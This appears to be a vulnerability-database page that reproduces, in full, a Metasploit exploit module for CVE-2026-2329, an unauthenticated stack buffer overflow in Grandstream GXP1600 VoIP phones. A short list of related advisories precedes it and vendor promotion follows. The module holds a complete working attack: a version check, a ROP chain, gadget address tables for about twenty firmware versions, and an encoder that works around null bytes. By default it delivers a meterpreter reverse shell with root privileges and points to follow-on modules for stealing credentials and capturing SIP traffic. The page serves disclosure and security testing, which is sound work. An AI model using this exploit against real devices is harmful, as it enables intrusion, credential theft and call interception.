| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2026-2329 | 18 Feb 202614:08 | – | attackerkb | |
| CVE-2026-2329 | 18 Feb 202614:15 | – | circl | |
| Grandstream GXP series 安全漏洞 | 18 Feb 202600:00 | – | cnnvd | |
| CVE-2026-2329 | 18 Feb 202614:08 | – | cve | |
| CVE-2026-2329 Grandstream GXP1600 VoIP Phones - Unauthenticated stack buffer overflow | 18 Feb 202614:08 | – | cvelist | |
| GrandStream GXP1600 Unauthenticated Remote Code Execution | 24 Feb 202618:57 | – | metasploit | |
| CVE-2026-2329 | 18 Feb 202615:18 | – | nvd | |
| CVE-2026-2329 | 18 Feb 202615:18 | – | osv | |
| PT-2026-20432 | 18 Feb 202600:00 | – | ptsecurity | |
| Metasploit Wrap-Up 02/27/2026 | 27 Feb 202620:25 | – | rapid7blog |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution',
'Description' => %q{
An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
/cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
firmware versions below version 1.0.7.81.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # Discovery, Analysis, Exploit
],
'References' => [
['CVE', '2026-2329'],
# Rapid7 advisory for CVE-2026-2329
['URL', 'www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
# Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
['URL', 'https://psirt.grandstream.com/'],
# Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf']
],
'DisclosureDate' => '2026-02-18',
'Platform' => %w[linux unix],
'Arch' => ARCH_CMD,
'Privileged' => true, # /app/bin/gs_web runs as root
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
# NOTE: Tested with the following payloads:
# cmd/linux/http/armle/meterpreter_reverse_tcp
# cmd/unix/reverse_netcat
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp',
'RPORT' => 80,
'SSL' => false,
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/tmp',
# Delete the fetch binary after execution.
'FETCH_DELETE' => true
},
'Payload' => {
'BadChars' => ':',
'Encoder' => 'cmd/base64'
},
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => [
'post/linux/gather/grandstream_gxp1600_creds',
'post/linux/capture/grandstream_gxp1600_sip'
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to web admin', '/']),
]
)
end
def check
version_id = '68'
model_id = 'phone_model'
server_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
'vars_post' => {
'request' => "#{version_id}:#{model_id}"
}
)
return CheckCode::Unknown('Connection failed') unless server_res
return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200
json_data = server_res.get_json_document
version_str = json_data.dig('body', version_id)
model_str = json_data.dig('body', model_id)
return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?
# These 6 models all share the same firmware for the GXP1600 range.
affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]
if affected_models.include? model_str
version = Rex::Version.new(version_str)
# Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
if version < Rex::Version.new('1.0.7.81')
return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
end
end
Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
end
def exploit
version_id = '68'
server_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
'vars_post' => {
'request' => version_id
}
)
fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200
json_data = server_res.get_json_document
version_str = json_data.dig('body', version_id)
rop_table = get_rop_table(version_str)
fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table
vprint_status("ROP Table: #{rop_table}")
unless rop_table[:gadget3_call_exit]
print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.')
end
pointer_size = 4
rop = [
:rand4, # padding
# The vulnerable function returns via this function epilogue: POP {R4-R11,PC}
# So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC.
rop_table[:address_data_section], # r4 -> .data segment
:rand4, # r5
:rand4, # r6
:rand4, # r7
:rand4, # r8
:rand4, # r9
:rand4, # r10
:rand4, # r11
rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
:patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..."
rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc};
:rand4, # r4
:rand4, # r5
:rand4, # r6
:rand4, # r7
:rand4, # r8
rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
rop_table[:address_system_plt], # r3 -> system@plt
rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc}
:rand4, # r3
rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 <exit@plt>
]
overflow_buffer = Rex::Text.rand_text_alpha(64)
rop.map! do |item|
if item == :patch_offset2cmd
# When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow
# buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget
# executes, r3 will point to the OS command we want to execute, which is located on the stack directly after
# our ROP chain. The below offset is the value placed in r3 for this calculation.
item = 28 + overflow_buffer.length + (rop.length * pointer_size)
elsif item == :rand4
item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
elsif item == :rand4highnull
item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
end
item
end
vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}")
request_buffer = gen_buffer(
rop.pack('V*') << payload.encoded,
overflow_buffer
)
register_file_for_cleanup('/tmp/core.gz')
register_dir_for_cleanup('/core')
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
'vars_post' => {
'request' => request_buffer
}
)
end
# The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this
# limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request
# parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can
# be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null
# byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
#
# For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g.
# "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte)
# we can trigger the overflow 5 times by structuring the input as follows:
# "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE"
# When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each
# time it will write a null byte at the end of the current identifier being processed. The final memory layout will
# be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity,
# as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability.
#
# The gen_buffer method will take care of restructuring the input in the above described manner.
def gen_buffer(input, line_padding = '')
input << "\x00" unless input[input.length - 1] == "\x00"
len = input.length
lines = []
input.reverse.each_byte do |chr|
line = '1' * (len - 1)
if chr.zero?
line << ':'
else
line << [chr].pack('C')
end
len -= 1
lines << line
end
res = []
lines.each do |line|
if line.end_with? ':'
res << (line_padding + line)
else
res.last[line_padding.length + line.length - 1] = line[line.length - 1]
end
end
res.join
end
def get_rop_table(version_str)
rop_tables = {
'1.0.7.80' =>
{
address_system_plt: 0x0000b868,
address_data_section: 0x000224c8,
gadget2_add_str_add_str_pop: 0x0000f110,
gadget1_blx_pop: 0x0000c230,
gadget3_call_exit: 0x0000ffc0
},
'1.0.7.79' =>
{
address_system_plt: 0x0000b73c,
address_data_section: 0x00022490,
gadget2_add_str_add_str_pop: 0x0000ef64,
gadget1_blx_pop: 0x0000c0ec,
gadget3_call_exit: 0x0000fe14
},
'1.0.7.74' =>
{
address_system_plt: 0x0000b73c,
address_data_section: 0x00022490,
gadget2_add_str_add_str_pop: 0x0000ef64,
gadget1_blx_pop: 0x0000c0ec,
gadget3_call_exit: 0x0000fe14
},
'1.0.7.70' => {
address_system_plt: 0x0000b73c,
address_data_section: 0x00022490,
gadget2_add_str_add_str_pop: 0x0000ef64,
gadget1_blx_pop: 0x0000c0ec,
gadget3_call_exit: 0x0000fe14
},
'1.0.7.67' => {
address_system_plt: 0x0000b6c4,
address_data_section: 0x00021e6c,
gadget2_add_str_add_str_pop: 0x0000ed7c,
gadget1_blx_pop: 0x0000c05c,
gadget3_call_exit: 0x0000fc2c
},
'1.0.7.64' => {
address_system_plt: 0x0000b6c4,
address_data_section: 0x00021e2c,
gadget2_add_str_add_str_pop: 0x0000ed38,
gadget1_blx_pop: 0x0000c05c,
gadget3_call_exit: 0x0000fbe8
},
'1.0.7.56' => {
address_system_plt: 0x0000bd78,
address_data_section: 0x00022474,
gadget2_add_str_add_str_pop: 0x000140ec,
gadget1_blx_pop: 0x0000c6bc,
gadget3_call_exit: nil
},
'1.0.7.50' => {
address_system_plt: 0x0000bd78,
address_data_section: 0x00022474,
gadget2_add_str_add_str_pop: 0x000140ec,
gadget1_blx_pop: 0x0000c6bc,
gadget3_call_exit: nil
},
'1.0.7.49' => {
address_system_plt: 0x0000bd78,
address_data_section: 0x00022474,
gadget2_add_str_add_str_pop: 0x000140ec,
gadget1_blx_pop: 0x0000c6bc,
gadget3_call_exit: nil
},
'1.0.7.33' => {
address_system_plt: 0x0000bd10,
address_data_section: 0x00021e0c,
gadget2_add_str_add_str_pop: 0x00013ed4,
gadget1_blx_pop: 0x0000c63c,
gadget3_call_exit: nil
},
'1.0.7.27' => {
address_system_plt: 0x0000bd10,
address_data_section: 0x00021e0c,
gadget2_add_str_add_str_pop: 0x00013ed4,
gadget1_blx_pop: 0x0000c63c,
gadget3_call_exit: nil
},
'1.0.7.24' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x00021948,
gadget2_add_str_add_str_pop: 0x00013b2c,
gadget1_blx_pop: 0x0000c600,
gadget3_call_exit: nil
},
'1.0.7.18' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x00021470,
gadget2_add_str_add_str_pop: 0x00013aec,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.7.13' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.7.6' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.7.3' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.5.3' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.4.152' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.4.140' => {
address_system_plt: 0x0000c358,
address_data_section: 0x00021454,
gadget2_add_str_add_str_pop: 0x000137e8,
gadget1_blx_pop: 0x0000c53c,
gadget3_call_exit: nil
},
'1.0.4.132' => {
address_system_plt: 0x0000c358,
address_data_section: 0x00020c2c,
gadget2_add_str_add_str_pop: 0x00013558,
gadget1_blx_pop: 0x0000c53c,
gadget3_call_exit: nil
},
'1.0.4.128' => { # Released August 3, 2018.
address_system_plt: 0x0000c17c,
address_data_section: 0x0001e9c4,
gadget2_add_str_add_str_pop: 0x00011cc8,
gadget1_blx_pop: 0x0000c360,
gadget3_call_exit: nil
}
}
rop_tables[version_str]
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation